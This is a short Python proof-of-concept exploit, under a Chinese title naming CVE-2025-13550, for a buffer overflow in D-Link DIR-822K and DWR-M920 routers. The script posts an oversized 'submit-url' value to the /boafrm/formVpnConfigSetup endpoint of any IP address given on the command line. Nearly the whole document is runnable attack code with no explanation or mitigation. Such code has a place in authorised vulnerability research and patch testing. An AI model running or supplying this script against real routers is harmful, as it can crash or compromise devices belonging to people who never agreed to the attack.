CVE-2025-13550 D-Link DIR-822K/DWR-M920 缓冲区溢出漏洞

import requests import sys # CVE-2025-13550 PoC - D-Link DIR-822K/DWR-M920 Buffer Overflow # Target: /boafrm/formVpnConfigSetup def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit buffer overflow in submit-url parameter This PoC demonstrates sending an oversized submit-url parameter """ target_url = f"http://{target_ip}:{target_port}/boafrm/formVpnConfigSetup" # Generate large payload to trigger buffer overflow # The exact offset may vary, this is a demonstration payload overflow_length = 2048 # Adjust based on actual vulnerable version malicious_payload = "A" * overflow_length # Construct the exploit request data = { "submit-url": malicious_payload, "vpn-type": "pptp", "pptp-server": "vpn.example.com", "pptp-user": "test", "pptp-password": "test123" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_buffer_overflow(target, port)